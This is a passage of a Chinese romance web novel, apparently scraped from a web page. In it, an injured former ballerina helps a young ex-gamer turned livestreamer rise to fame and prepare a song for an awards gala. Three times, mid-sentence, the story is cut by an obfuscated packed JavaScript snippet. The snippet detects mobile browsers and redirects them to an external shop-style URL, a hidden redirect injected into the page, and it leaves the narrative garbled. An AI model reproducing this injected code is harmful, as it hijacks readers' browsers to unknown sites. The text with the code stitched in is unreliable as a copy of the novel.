脑子乱糟糟地想着,门被打开了。 程杭领着林熠,很是花哨地冲周月白行了个绅士鞠躬礼,颇为自得地说:“大小姐,我把你的男伴帅气地送回来了,请查收。” 从他身后出现的,是林熠熟悉又陌生的脸。 哪里都变了,却又说不出哪里变了,甚至没有化妆,少年本就皮肤通透白净,混乱的作息都没在他眼底留下青黑。平日里刘海遮着,从未注意到他有这么亮的眸子,如今露出额头,才发现他其实有很优越的轮廓,鼻梁高挺,睫毛浓密。 毕竟是十八岁,没有赘肉的身材,抽条的身高,服服帖帖地穿着一套价格不菲的衣服,仿佛他生来就应当如此。 今天的林熠还真勉强可以算上是她的战友。 周月白点点头,冲他说:“走吧。” 正往门口移动着,周月白忽然感到肩膀被覆上温热,是她搭在衣架上的一件羽绒服,被林熠取下来围住她,说:“外面冷。” 突然的关心让两人距离不足一米,周月白抬手轻咳一声,理了理身后挽的头发,还是担心刚才这个举动弄乱她做了一个小时的头发,随后跟林熠说:“这件不行,跟我穿的裙子太不搭了,你帮我拿衣架上那件狐狸毛领的长毛呢大衣吧。” 这一长串定词说得林熠一头雾水:“哪一件?” “……”周月白简要地说,“白色那件。” “早说啊。”林熠轻巧地取过来,再将周月白递过的羽绒服挂回衣架上。 周月白穿好外套,过于蓬松的毛领遮住了她半张脸,露出来的莹润肌肤如同天边雪色,好像稍微有点波澜就会融化。 林熠在脑子里又过了一遍刚才程杭说的话。 她今晚是要去告别的。 - 抵达酒店已经比约定时间晚了半小时,估摸着人都来全了。 周月白提前将外套寄存,手指无意识地拨弄着裙摆,林熠推着轮椅缓步前行,没一会儿就走到一扇门前。 林熠停下脚步,从身后绕到周月白面前,蹲下,替她抚平了捏皱的裙角。 他似乎发现了规律,当周月白面色如常地摆弄衣服时,就是她在摇摆不定,犹豫瑟缩的时候。 抚平裙子上的褶皱还不够,更需要抚平的是她心里的褶皱。 温热的手掌轻轻覆上那只一直在试图揪裙角的手,林熠盯着周月白的眼睛,真诚地说:“不要害怕,你今天晚上很美。” 美到足可以完美谢幕。 眼神相触的瞬间,周月白松开了有些僵硬的手指,慌乱地错开目光,满不在乎地说:“谁害怕了,开门吧。” 有些沉重的门被林熠推开,宴会厅富丽堂皇,舞团有人赞助,庆功宴弄得像商业酒会,衣香鬓影。 只是此刻众人的视线都集中在了轮椅上的周月白身上。 她穿Dior的高定礼服裙,在明亮的光源下璀璨流转,脖颈纤长挺拔,同以往每次穿着芭蕾舞裙演绎白天鹅时一样高傲优美。 轮椅后站着的是身材颀长的少年人,穿一身低调又剪裁得体的西装,长腿一迈就推着周月白走进了房间内。 林巧是最先反应过来的人,她今天也是盛装出席,在人群中央众星捧月。周月白不在邀请之列,她的出现让林巧始料未及,只好扯出一抹笑容迎上去:“月白,你来啦?” 周月白抬头看她,还是熟悉的长相,无端变美了许多,兴许真是人逢喜事,红气养人。她开口,声音泠然如幽谷山泉:“是啊,听说你演出顺利,我当然要来亲自恭喜你。” 林巧挂着客气的笑容说:“谢谢。” 见两人有些尴尬,旁边一个女生想打圆场,赶紧过来说:“月白,你的伤好点了吗?” “好多了。”周月白微笑着看她,目光一瞬不瞬,“说来可惜,要不是因为受伤,今天大家聚在这里应当是为我庆功吧?” 这话一说完,林巧面色微变,气氛立时冷了下来。 旁边的人见状有些不忿,想说什么,又被林巧拦住,她吸了吸鼻子,柔声说:“先进来,别在门口了,今晚的餐点很好吃的。” 周月白拂开她热情靠过来的手,露出一抹嘲讽的笑:“看不出来你这么欢迎我?毕竟是连请柬都没给我发过呢。” 她双手交握在腿上,冲林巧眨了眨眼:“朋友圈不是也屏蔽我了吗,怕我抢你风头吗?是没自信还是心虚呢?” 林巧的表情终于绷不住,眼圈噌地泛红了,二十出头的小姑娘,被这么多朋友围观着,也是慌了:“不是,我没有……屏蔽你是因为……” 周月白一挥手打断她,露出一个标准的笑容,仪态得体,但开口却刻薄:“林巧,你不用这样的呀,这次的机会是我不要的,既然给你了你接着就是了。以后我也不想再跳舞了,打算出国念个商科回来接手家里的公司,所以以后你也不用总是担心有人跟你抢啦。” 这话说完,林巧的脸红一阵白一阵,眼眶已经湿了。 旁边有人上来劝,周月白只是说:“我不进去了,你们玩得开心点。” 走之前还回头冲林巧说了句:“哦,对了,以后别再屏蔽我了,想看总看得到的,没必要。” 林熠看到那个叫林巧的女生已经开始哭了。 他皱皱眉,本以为是一场大家抱头痛哭的告别仪式,没想到周月白是来骂人的。他被这样的展开惊到了,所以走的时候周月白冲他使了好几个眼色他才反应过来,推着轮椅走出了宴会厅。 - 电梯下落,一路无言。 林熠去取回寄存的衣服,回头的时候,他看到光可鉴人的大理石地砖上映出周月白的轮廓,她低着头,肩膀耸动。 走到她身边时,听到她小声地说:“走,推我出去。” 还在酒店大堂里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621116|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来人往,周月白连哭腔都是藏起来的,但抓着林熠衣袖的指节泛白,证明她用尽全身力气在说这一句话。 林熠没多停留,推她出酒店,没走多远恰好是一处无人的回廊。 夜里的风更凉了,林熠看周月白身上的裙子,很是认命地将自己的羽绒服披到了她身上。 周月白抬起头,眼睛睁得大大的,眼泪蓄满了眼眶。 一眨眼,纤长的睫毛颤抖,泪珠摇摇坠落,砸在了林熠为她披衣服的手上。 是凉的。 林熠有点慌乱,他第一次见周月白哭,哭得这样梨花带雨,娇弱易碎。 他只能呆呆地说:“我就说,你该穿羽绒服的。” 周月白低下头,闷闷地说:“林熠,你是不是觉得我特别坏?” “没有。” “林巧她没抢我东西,我知道的。这个机会是我自己弄丢的,不关她的事。” 她哭得更凶,眼泪连串地坠落:“她能拿到这个机会也一定付出了很多努力,结果今天我却来她的庆功宴上抢她风头,让她当众下不来台。” 林熠将轮椅停放妥当,从口袋里掏出包纸巾,屈膝递给周月白,对上她的眼睛静静道:“你知道吗,我们打职业的时候,每个队都会有替补队员,经常被戏称是看饮水机的,因为上场机会真的不多。” 周月白眨眨眼,没明白他在说什么。 “有一次,那是世界级的赛事,走到了决赛最后一局,场上一个选手因为腱鞘炎发作没办法继续比赛了。” 周月白用纸巾擦着脸上的泪,声音哽咽:“这个选手跟我一样倒霉……” 林熠笑了,继续讲:“这种情况只好让替补上场,他只打了一局,他们就夺冠了。” “最后领奖时,所有人都会站上来捧杯,没人会质疑受伤下场的选手,因为他之前打的几局都竭尽全力。他没有强撑着去忍痛打最后一局,下场让大家避免了造成失误。 当然,也没人会觉得替补捡了便宜,大家只会想,还好有他,不然我们整支队伍就完了。” “或许有时候你可以换个角度去想,说不定她们不是疏远你,只是怕提起跳舞刺激你。 她们也没有觉得是踩着你上位,反而都很感谢你过去为舞团所做的一切努力,也希望你有一天能归队,舞团所获得的成就一直都有你的一份。” 周月白目光潮湿,林熠看着她,语气有几分少年青涩又真诚的意味:“而你,只不过是没在最后一场比赛中登场而已。但你在别人眼中,永远是骄傲的白天鹅,永远不会被取代。” 周月白没想到他会说出这番话,温暖又清醒,她更没想到,会有人把她想得这样好。泪意又在鼻腔,差点就要暴露片刻真情,她佯装俏皮地歪头问:“你真的只念到初中吗?” 林熠站起身躲开她的目光,脸红蔓延开来,不自在地挠了挠头。 周月白抬头,笑着冲他伸出手,脆生生地说:“谢谢你,林熠,我是说真的,谢谢你。” 少年的手握上来,温暖干燥,热源通过手掌传递至胸膛。今年的冬天,似乎也没有那么冷。 13. 初霁(03) 两天后,林熠被公司叫去拍摄宣传照。 陈思睿白天没什么事儿,正好陪林熠一起去,就当提前考察公司的艺人宣传福利待遇。 两人本来都以为是跟影楼拍写真差不多的配置,化妆造型有人负责,所以林熠也没怎么打理自己,随随便便套件卫衣和羽绒服就出门了。 等到了约定的地点才发现,这哪是什么影楼,是真真正正拍摄杂志大片的摄影棚。 陈思睿拽拽林熠衣袖,低声惊呼:“看到了吗,前面那个人是不是周一晴啊?我最近看那个电视剧里的女二号。” 林熠不认得什么女演员,但也看见一个明星打扮的人,前呼后拥地离场了。 还没来得及收起脸上不自在的表情,他一眼就看见人群中,坐在轮椅上的周月白。 她表情恬淡,长发用发夹松松挽起,见到他那一刻缓缓绽出个笑容,明眸皓齿,招招手示意林熠去她那边。 这是认识以来,周月白最明丽的一个笑容,林熠感觉自己被晃了下眼,低头掩饰心脏漏跳一拍的慌乱。 倒是陈思睿看到了,有点讶异地问林熠:“这就是帮你的那个……我司长公主?” 这称谓够浮夸,却也没什么不对,林熠点了点头。 两人走过去,陈思睿是第一次见周月白,有些拘谨地说:“周小姐,您好,我叫陈思睿,跟林熠一起签约的主播,兼他的室友。” 周月白今天的好脾气也分了一些给陈思睿,她笑得让人如沐春风,很温和地说:“你好呀。” 随后视线落到林熠身上,一副意料之中的样子:“知道来拍照都不打扮一下?” 林熠挠挠头,小声说:“我一男生,还能怎么打扮。” “啧,年纪不大,思想还挺古板。”周月白转头跟身边的人说,“Jason,拜托你啦,我想要那种日本盐系少年风格,外表看起来阳光但又有故事的感觉,类似苏打那种?” 叫作Jason的人看起来是个化妆师,上下打量了一下林熠,亲亲热热地拉住他:“底子这么好,包在我身上啦。” 林熠有些不解地看着周月白。 周月白说:“就知道你肯定不会好好打扮,专门为你请了明星化妆师和摄影师。” 林熠有点不好意思:“你不用帮我这么多的……” “谁说是为了帮你。”周月白坐着伸出一只手指,只能戳到林熠的手臂,轻轻一推,“你可是我力荐的主播,怕你给我丢人。” 好吧。 转过身那一刻,林熠偷偷笑了一下,心想,这姐姐还挺口是心非的。 - 化妆的时候,陈思睿坐在一边玩手机,饶有兴致地跟林熠说:“我本来以为长公主会很有距离感呢,没想到还挺亲民啊。” Jason在旁边神神秘秘地笑了:“兴许是沾了你这位朋友的光。” 两人目光都在林熠身上,他感觉面上一热,就听陈思睿好奇地问:“长公主平时不是这样吗?” “那可不,小公主脾气可大了。”Jason一脸高深莫测地说,“当年我在Z司当化妆师,还没出去跟组的时候,小公主在总裁办公室跟周总吵的那一架,气得周总砸了一地文件,公司里无人不知啊。” “周总?是咱们大老板?长公主的爹?” “那可不,还能有谁。” 陈思睿佩服道:“姐姐厉害啊。” 林熠在一旁敛了眸,专注地看着妆台上的某一点,脑子里突然就浮现出周月白的脸——那样流畅的线条、没有一个锐角的轮廓,让人总是联想到很皎洁的月色。 她曾傲慢地对他恶语相向,他却也曾目睹她的脆弱和眼泪。 林熠快要分不清哪一个才是真实的周月白,抑或都是她。 但他并不讨厌。 没一会儿,Jason满意地说:“好了,真不错。我手艺好,你底子也好。这颜值,比我化过的好些男明星还抗打。” 陈思睿也说:“你这出去别说女粉了,看得我都快弯了。” “别扯淡。”林熠骂他,也对着着镜子看了会儿。 他没太多概念,只觉得发型有点浮夸,但是换好衣服一出化妆间,从周月白投过来的目光来看,应该确实是好看的。 他心里也隐隐有点雀跃。 拍摄过程异常顺利,结束后周月白跟摄影师和工作人员特别交代,指定了几张她觉得感觉很对的照片。 林熠垂着头靠墙站立,像一只大狗狗。等着周月白跟别人聊完天才迎上去。 “周……”一出声才意识到,他好像没怎么正式称呼过周月白,一时间竟然不知道叫什么。 周月白见他迟疑,微微一笑说:“你跟唯见是同学,跟他一样叫我姐就可以。” 林熠抿抿唇,没叫出来,有话直说道:“你自己来的吗?” 周月白说:“司机在外面等。” 林熠外套一披,朝她走过去:“那我送你过去吧,这边人多,太挤,你自己不方便。” “好啊,那就谢谢你啦。” 周月白一笑,倒叫林熠有点不自在,走到她身后推着轮椅,小声嘟囔了句:“不用这么客气。” 声音不大,周月白还是听到了,微微侧身仰头看林熠,笑说:“我们现在是不是已经算朋友了?” 少年想了想,挺郑重地点了个头:“嗯。” 相识于困顿中,见过彼此最窘迫的模样,也算是能相互扶持前行的……朋友了吧? 林熠将周月白送到地下车库,看司机迎过来,从他手上推走轮椅,朝车子的方向走。 他有点恋恋不舍,又不知道说什么,急着叫了一声:“周月白。” 周月白有点意外,他直呼其名,但也没介意,温和地问:“怎么了?” 林熠搓搓手,清了清嗓子说:“上次那套西服,我送去干洗了,洗完就还给你。” 毕竟几万块不是比小数目,他很难坦然接受。 周月白却淡淡笑了:“留着吧,过阵子公司有百大主播年度盛典,到时候你会用得上的。” 林熠赧然:“我才刚开始直播,又没几个粉丝,这种场合哪轮得到我。” 司机已经扶周月白上了车,隔着降落下来的车窗,她冲林熠露出个笑容:“相信我。” 林熠的心奇异地安定下来,冲她挥挥手:“那好,再见。” - 周月白之所以有底气说让林熠相信她,无非是清楚,在这样的宣传推广下,换成谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621117|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都能火一把,无非是红得长长久久或是昙花一现的差别罢了。 但林熠的条件,想成为前者也未必不可。 该帮的她都帮了,剩下的也只能靠林熠自己。 不过幸好,林熠资质好,肯努力,差的也只是这一波宣传。 开屏广告上他的写真漂亮到生动。大家点进去看,发现摄像头里的真人跟硬照无非也就是做个发型、简单打扮过的差别,看着也没有过度美颜的痕迹,算是十分真实。 最令人惊喜的是,他有些少年气的腼腆可爱,性格真诚,对每一个礼物都认真答谢,让人好感度更上升。 他每天高强度工作,尽可能让点进来的观众都能看到他在直播中,留住粉丝。 奔着颜值进来的观众满意而归,本来想进来吐槽下空有皮囊技术不行还在游戏区直播的观众也反被打脸。 一时之间,林熠成了最炙手可热的新人主播。虽然远远达不到那些积累多年的百万粉大主播的程度,但极短时间内粉丝破五万,礼物流水超过十万,这已经是他以前想都不敢想的成就了。 再后来,林熠收到了Lucy姐的消息,告诉他今年的百大主播年度盛典,会安排给他一个最有潜力新人奖。 林熠吃惊极了,没想到还真的被周月白说中了,他居然能得奖。 Lucy姐在电话里公事公办地嘱咐他:“到时候会提前彩排三次,走个流程和站点走位,你配合就行,没什么特别的。” “好。” “对了,你有出席这种场合的礼服吗,正装最好,正式一点的。” 林熠看了看挂在衣柜里,套着干洗店防尘袋的衣服,说:“有的。” “嗯,那到时候你发个照片给我看一下,如果可以的话就穿自己的,要是不行我让服装组给你准备一件。另外造型现场会有化妆师,你素颜过来就行。” “嗯嗯,好的lucy姐,我知道了。” “哦对了,还有个事儿。你得准备个小节目,主播领奖后有个演出的环节,表现得好很吸粉的,你有什么才艺吗?” 林熠没想到还有这一出,有点发愣:“我除了打游戏,好像也没什么特长了……” “唱歌跳舞之类的?会吗?” 跳舞……想都不敢想。林熠没什么底气地说:“唱歌还行。” 以前打职业的时候跟队友们一起去过几次KTV,大家都夸他唱得好听,也不知道这种程度能不能不称之为才艺,姑且一试吧。 听他没什么信心的样子,Lucy沉吟道:“那明天你来公司一趟,带着你准备的曲目,咱们现场看看效果,可以的话让声乐老师给你调整一下。如果实在不行,我们再想别的办法。” 每个奖项的名额不止一个,但同类奖项获得者的演出机会只有一个,届时在线收看人数会破百万千万,大家其实都争破了头。 Lucy之所以会把这个机会给林熠,除了觉得他外形好人气高之外,最重要的,还是老板女儿这一层关系。 但如果实在太寒碜,她也不会冒着晚会被嘲的风险孤注一掷。 林熠虽然不懂其中的弯弯绕绕,但也知道这个机会是可遇不可求的,认真地说:“我会好好准备的,谢谢Lucy姐。” 14. 初霁(04) 林熠很少听歌,直播歌单都是直接照抄陈思睿的。 听得少,会唱的就更少了,思来想去只能选了一首Jay的《七里香》。 这歌似乎没人不会唱,歌词和旋律林熠也算是烂熟于心。但他还是紧张地准备了几天,白天唱、夜里唱,偶尔出去走在路上也要哼唱两句。 到了去公司试演那天,林熠想着毕竟是要上台,况且周月白可能也会来……他特意吹了下发型,穿了件新买的白色高领毛衣,外套是浅灰毛呢大衣。 他皮肤本来就白,黑发毛衣干干净净,星眸熠熠,一眼就能瞧得出年纪很轻。 公司里的人平时见他都是一件雷打不动的黑色卫衣,还是第一次见他主动打扮自己,连一向不苟言笑的Lucy姐都说:“今天穿得挺好看的,youth,不要浪费自己的青春和颜值,平时也多打扮嘛。” 林熠有点害羞地抓抓头发,跟着她走进了个小礼堂。 这里是公司平时有小型的活动或者艺人试演会用到的场地,有音响有舞台,看起来正儿八经。 林熠本来以为是在以前常去的小会议室里唱,如今到了开阔的场地,还没等站上舞台,浑身上下就哪里都不舒服。 他感觉自己怯场了。 从小到大,他没参加过任何文艺演出,连小学联欢会都没表演过节目。甫一上台,就是这样正式、真实的礼堂。 屋里暖气很足,他将外套脱下放到第一排椅子上,公司里几位同事也都落座了,Lucy示意他可以开始了。 林熠朝入口处看了一眼,没有周月白的影子,心里骤然有些失望。 不过想想也是,她的人生里,比他一个小小的签约艺人重要的事情太多了。 光是跟他一样的主播,她家公司里就有几百位,林熠在心里嘲笑他太把自己当回事儿了。 走上舞台,他站在立式话筒前,手紧攥住升降杆,紧张地骨节泛白。 公司一早就接到了他报上来的曲目,早已经安排好,此刻林熠一站上去,前奏如约响起。 很熟悉,又很陌生。 林熠只觉得大脑一片空白,怎么也想不起第一句歌词到底是什么。 音乐照常进行,很快就要进点了,林熠越是急着想,越是想不出。 台下椅子一排一排,虽然空荡荡,他却觉得仿佛看见了几百人的目光注视着他,自尊心摇摇欲坠,他感觉汗湿了脊背。 林熠张张嘴,没发出一个音节。 前奏已经过去了,Lucy出声提醒:“没跟上是吗,不要紧,再来一次吧。” 林熠点点头,他觉得此刻如果有镜子可以看一下,他脸色应当是苍白的。 终于想起第一句歌词,前奏结束后进点还是慢了半拍,紧赶慢赶节奏也对不上。下面的人似乎有些不耐,指挥着播放第三次音乐。 林熠见状更是紧张,心里有个声音叫嚣着:放弃吧,舞台不适合你,你天生晦暗。 他已经有些垂头丧气了,低着头盯着自己的鞋尖,希望一睁眼发现自己其实在家里睡觉,礼堂和舞台都是他幻想出来的。 就在这时,一道清脆的女生忽然自礼堂入口处传来:“不好意思,我来晚了。” 林熠猛地抬头,轮椅上的女孩冲他露出个笑。像刚从风雪中走来一样,她的笑意中带着雪色和清风。奇迹般地如甘霖浇灭火焰,林熠感觉心定了定,焦躁不安的心情顿时好了很多。 她真的会来。 周月白身后是北栀,她推着轮椅到第一排的位置,周月白突然出声:“礼堂里是不是太亮了,我们把主灯熄了只留舞台光吧,这么亮听歌多没氛围感呀。” 林熠忽然意识到,周月白可能不是刚刚到。 她在替他解围。 小公主发话大家自然要听,礼堂内的灯光很快被熄灭,只留下舞台上的射灯。骤然的黑暗让林熠觉得自在多了。 前奏再次响起,林熠发现在微弱光线下仍能看见第一排的观众,尤其是周月白明亮的眼神。 “窗外的麻雀……” 这一次林熠唱得无比顺畅。他声音澄澈,声线优美,虽然没有经过专业训练,但音准也很不错。 一曲终了,周月白率先鼓起掌来,紧接着其他人也陆陆续续鼓起掌。 Lucy客观地评价道:“按照这一次表演的水准,节目肯定没问题。但我有两个顾虑。” 周月白点点头:“lucy姐,你说。” “第一个,前两次林熠都由于怯场没能顺利进行表演,这还仅仅是在公司的小礼堂,颁奖典礼直播那天,现场会来上万人,怎样保证他届时不会怯场。” 周月白略微沉吟,眼神示意对方继续往下说。 “第二个顾虑,就算他可以克服紧张顺利登台,对于当天的氛围,纯粹演唱一首歌太过平淡了。或许可以改成吉他弹唱,曲目简单,现学也没什么问题。实在学不会我们可以播放一段伴奏,他在台上做手势就可以了,直播给上半身镜头不带到手,常规操作不会出问题。” 周月白一晃神,看到林熠还站在台上,便说:“林熠,你先下来吧,找个位置坐。” 林熠正在台上手足无措,听到这句话简直如蒙大赦,赶紧下台在大家身后一排坐下了。 北栀顺手从第一排面前的桌子上捞过一瓶矿泉水递给林熠,林熠微微一愣,接过来,小声说:“谢谢。” 周月白认真思考了一会儿才说:“Lucy姐,你看可不可以这样,我们安排一个专业的声乐和表演老师,让他尽可能完善演出内容,克服恐惧。同时准备一个planB,如果他彩排时仍然怯场,我们有可更换的备选。” Lucy点了点头,算是赞成。 “另外吉他的事就算了,短时间内学的可能会掉链子,弄虚作假就更不好了,我们可以给他安排一个伴奏。”周月白回头看了眼北栀,“栀栀的钢琴弹得不错,钢琴伴奏也更符合林熠的气质,新老获奖者同台表演也挺有看头的吧。” 北栀是去年的最有潜力新人奖获得者。 Lucy看了北栀一眼,当即拍板:“好,那就这么办,我去联系周漪,让他的rap节目也准备一下当做备选,同时这边安排公司的声乐和表演老师给林熠上课。” 周月白微微一笑:“辛苦Lucy姐。” “哪有,都是为了活动能顺利举行。”Lucy顺着周月白说,“何况林熠最近的表现是真的不错,后台数据摆在那里,新人奖实至名归。前两天粉丝才五万多,这两天都十五万了,随时看都还在增加呢。” 周月白回头看了眼林熠,淡淡地说:“是吗,那很好。” “今天一听歌唱得也很好。”Lucy问林熠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621118|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “以前学过声乐?” 林熠反应过来在问他,如实回答道:“没有。” “那还挺有天赋的,以后直播也可以试着唱唱歌。” “好……” Lucy手机响了一下,看完立刻冲林熠说:“你直接跟我去趟声乐教室吧,老师今天正好在,我先带你认认门,这几天你自己来就行。” 林熠乖巧点头,捏着手里的矿泉水,看了一眼周月白。 想说什么,到底还是没说,跟在Lucy的身后走出了礼堂。 - 从公司离开后,北栀陪着周月白去餐厅吃饭。 国贸32层的空中餐厅,连中产家庭的北栀都不得不感叹周月白回到周家之后过得可是真豪奢。 周家也不知道和餐厅老板有什么关系,连必须提前半月定位的窗边位置,周月白仅一通电话就拿到了。 落地窗视野开阔,餐点精致又少。 北栀忽然说:“回家这么久了,你还跟你爸爸闹别扭呢?” “怎么看出来的?” “要不你会带我来这么贵的餐厅吃饭?不就是为了猛刷你爸的卡。” 周月白笑了:“拜托,就算不用我爸的卡我也会请你吃饭的。” 北栀无奈道:“是啊,确实会请,麻辣烫、涮羊肉、街边烧烤店。” 周月白挑了挑眉:“怎么了,感觉自己受之有愧?” “那可不,我觉得你请我吃麻辣烫吃得比在这舒坦。” “实在觉得自己担不起,你就回去好好练练琴,演出当天别给我丢人。” 北栀一听这话,立马精神了:“合着你请我吃这顿饭是为了感谢我答应给林熠伴奏的?” 周月白不置可否:“给你这个机会,某种程度上算是我黑幕你吧?” 北栀才不理,一心沉浸在自己的八卦世界里,从手机里翻出张照片给周月白看:“你看这个,上次林巧的庆功宴我没去,有小姐妹给我发的照片。” 周月白接过一看,那是推门而入的周月白和她身后推着轮椅的林熠。 少女星光璀璨的纱裙在宴会厅吊灯的映衬下显得流光溢彩,而少年默默站立于身后,一身价格不菲的西服装点了成熟,矜贵又清雅。两个人都有着不输明星的外型,照片中如同一对璧人。 她看了几眼,又将手机推回给北栀,客观点评道:“拍得不错。” 北栀邀功似地说:“大家都打听这个男生是谁呢,我都没说。” 周月白不解:“可以说啊,给林熠加加人气。” 北栀彻底不解了:“你别告诉我,你真就是为了给你爸公司培养个好主播?又是给他买衣服又是送资源的,还为了让他上电视找我去伴奏,不知道的还以为你把他包了呢。如果你真没什么别的想法,那为什么要这么帮他?” 周月白笑笑没说话,抬眼看窗外,有很细小的雪飘落。视线顺着雪花的轨迹,从高层望下去,路上熙熙攘攘的人群,蝼蚁一般平凡而脆弱。 北栀看见周月白走神,轻轻敲了敲桌面:“怎么了?” 周月白用眼神示意她看窗外,小声说:“下雪了。” 北栀下意识也去看窗外,以至于没能看见周月白脸上的表情,只听见她叹息着说:“因为看见有人过得比我更艰难,忽然就很想做点好事。” 仅此而已。 15. 初霁(05) 一场混杂着细雨的小雪很快就停了,连路上都未添泥泞。 林熠深夜从声乐教室离开时,甚至并不知道傍晚曾下过一场雪。他一走出公司大门,凌冽的冷空气灌进肺里,说不出来的畅快。 他伸手扯开毛衣领口,闷热烦躁的感觉减轻不少。 口袋里叮咚咚响了一声,林熠赶紧停下脚步掏出来手机看,确实有一条新消息,但并不来自想象中的人。 【北栀:今天唱得很好哦~】 【北栀:还有就是月白让我抽空跟你碰一下演出的事情】 室外温度零下,握着手机的手被冻得有些麻木,但是林熠不敢怠慢,礼貌地编写回复:“谢谢!” 这话也僵硬得如同冻僵的指节。 好在北栀没介意,她很快回复道:“是不是还没回家呢?到家再说吧,跟你商量下排练的事。” “[微笑]好的。” 晚上北栀和林熠都要直播,只在微信里约定了明天公司见一块排练。 第二天一早,林熠带着早餐到公司,等了半小时北栀才姗姗来迟。林熠没有什么情绪,很客气地从牛皮纸袋里掏出一盒三明治递给她,余光确定她身后再没有别人了。 北栀看到桌上还摆着一袋未拆封的早餐,没说什么,只状似无意地解释:“最近这两天月白要去医院检查,不能来看咱们排练了。” 林熠一愣,下意识解释:“我没……” 北栀自顾自往下说:“不过她说,典礼当天肯定会在。” 北栀三下五除二吃掉了三明治,冲着林熠笑意融融地说:“那我们抓紧排练吧?” 未来一段时间里,林熠除了晚上定时直播,白天的时间都在跟北栀排练。 她不在的时候,他还要自己上声乐课和形体课,时间排得满满当当,每天连轴转,常常只睡五小时。 他很努力,连他自己也说不上原因。 等真到了颁奖典礼那天,林熠又穿上那套价值不菲的礼服,看化妆师发型师进进出出忙着摆弄他,而镜子里的自己一点一点从平凡青涩的少年,蜕变得精致又璀璨。 这感觉他已经不陌生了。 自从来到北京,或者说,自从认识周月白,这样梦幻的桥段就常常在上演。 林熠——一个初中学历、战队解散的网瘾少年,今天要站在上千万人同时观看的舞台上,举起一支属于他的奖杯。 尽管不是在他梦中的舞台上,但这一切也美好到足以被称之为梦境了。 - 周月白在典礼开始前两小时到达了会场,所有工作人员都在紧张忙碌进行着最后的准备。 她这段时间忙着处理学校那边休学延毕的事宜,再加上去医院复诊,只有一次深夜路过公司时才顺便进去看了一眼。 周廷已经将年度盛典办得很成气候了,这是第六届,加上Z站十周年活动,媒体和网民的关注度都很高。 过往的经验足以验证,登上这个舞台的人都铺就了一条璀璨星途。 他们一个个从主播走向了网红、演员、歌手甚至还有作家和导演。 周月白想,有没有一种可能,殊途同归,林熠也能从今晚走向梦想呢。 直到急促的电话铃声打断了周月白的思考。 一接起电话,北栀的声音明显带着哭腔:“月白月白,我在来会场的路上出车祸了,现在在救护车上。” 周月白蹙起眉,担心地问:“情况严重吗?你人没事吧?去哪个医院我过去找你。” “我伤得不太严重,就磕破了一点头……另一辆车的车主好像稍微严重点。连环追尾,我俩都是被撞的,现在得一块去医院检查看看有没有什么别的问题。” 没等周月白接话,北栀紧接着说:“我妈知道这件事已经往医院赶了,其实我没感觉头晕之类的,应该问题不大。但是最要命的是直播我肯定是赶不上了,林熠他没有钢琴伴奏的话就自己干巴巴唱歌吗?还是说要被换掉让备选方案上场啊?” …… 周月白紧紧握着手机,抬头看舞台上刚好是工作人员领着林熠在试光踩点。 她不期然对上了林熠的目光。 在舞台灯光的加持下,林熠今天出奇地耀眼,看到周月白那一刻,他先是一愣,随后冲她露出了一个灿烂的笑容。 听筒里北栀有些哽咽地说着:“早知道我就不开车了,我就应该打车去。如果林熠这次因为我不能上场,我真的成了千古罪人了,你都不知道他有努力,他每天……” 周月白看着舞台上挺拔的少年,轻声开了口,像叹息:“我知道。” “我知道他有多努力。” 前两天周月白从医院复诊出来后让司机开车带她转悠了很久。 奇迹不会出现在她身上,受伤的部位确实在以正常的速度恢复,但关于跳舞,纵使是专家会诊,大家仍然给出了那个相同的绝望答案。 那天转到公司门口时已经是深夜了。 本来只是想去看看猫,对着猫说说话,或者哭一哭。 她没想到楼里还会有钢琴声,周月白轻轻滑动着轮椅循声而去,发现声乐培训室里还亮着灯。少年蜷缩着在长椅上睡着了,屋里流泻出的琴声是他用手机录下来的。 一旁桌上有个笔记本,密密麻麻地写了字。 周月白走进一看,上面有声乐老师教的笔记,有北栀弹琴时告诉他要配合节奏的标注,甚至还有誊抄的歌词。 她忍俊不禁,没想到这年代还有人像小学生似的抄歌词。 字也有点像小学生。 周月白瞧了一眼旁边睡着的人,不知道是不是太疲惫了,他似乎睡得很沉。 就这么静静待了一会儿,循环播放的录播钢琴曲到了尾声,周月白忽然也不想哭了,她看到琴谱摆在琴上,手指抚上黑白键,正好跟上新一遍循环的开始。这曲子简单,才一小节她就熟悉起来,弹得顺畅无比。 最后,她还是没有叫醒他。 思绪被电话里的声音拉回现实,北栀问她:“那现在我们怎么办?” 周月白还是很沉静地样子:“你安心养伤,稍后让阿姨把医院和病房号发给我,等这边忙完了我去看你。” 